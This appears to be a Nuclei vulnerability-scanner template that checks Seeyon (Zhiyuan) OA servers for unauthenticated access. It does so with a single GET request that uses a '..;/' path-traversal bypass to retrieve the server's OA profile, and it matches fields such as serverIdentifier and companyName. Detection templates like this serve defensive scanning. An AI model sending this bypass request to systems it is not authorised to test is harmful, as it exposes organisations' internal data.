id: zhiyuan-oa-unauthorized

info:
  name: Zhiyuan Oa Unauthorized
  author: pikpikcu
  severity: low
  description: Zhiyuan Oa is exposed.
  reference:
    - https://buaq.net/go-53721.html
  metadata:
    max-request: 1
  tags: seeyon,unauth,zhiyuan,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/seeyon/personalBind.do.jpg/..;/ajax.do?method=ajaxAction&managerName=mMOneProfileManager&managerMethod=getOAProfile"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "serverIdentifier"
          - "companyName"
        condition: and

      - type: word
        words:
          - "application/json"
        part: header

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c5a4e8bc4ebf569f753c52295e6cc04e10e45e7574d50ca0c9d924de28789e62022100fb4967508b1f180e1708835eb2f6cceeb165ef509b4573900769e94fcfd41671:922c64590222798bb761d5b6d8e72950